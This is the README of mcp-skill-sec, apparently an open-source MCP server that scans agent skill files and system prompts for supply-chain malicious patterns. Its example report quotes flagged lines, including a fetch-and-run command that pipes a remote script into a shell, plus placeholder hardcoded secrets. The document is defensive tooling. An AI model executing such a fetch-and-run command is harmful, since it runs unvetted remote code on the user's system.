mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Related MCP server: tar-engine

Tools

• audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).

• audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.

• audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.

• rule_list() — dump the rule catalog.

Install & run

One command (recommended) — installs from the repo, no PyPI token needed:

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec
# then register with your agent:
mcp-skill-sec                       # run stdio server
mcp-skill-sec --http --port 8137    # or Streamable HTTP for remote use

Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

Direct from source (fallback):

pip install mcp
python3 mcp_server.py               # run stdio
mcp install mcp_server.py --name skill-sec   # register with Claude Desktop

Claude Desktop / agent config

{
  "mcpServers": {
    "skill-sec": {
      "command": "mcp-skill-sec",
      "args": []
    }
  }
}

Example

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

Part of a family

This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:

• mcp-skill-sec — pre-install skill/security audit (this repo)

• mcp-verify-claim — evidence-gated, honestly-tiered claim reporting

• mcp-benchmark-hygiene — pytest config-leakage / eval-honesty detection

Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion

Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Hire a custom integration

Need this connected to your internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.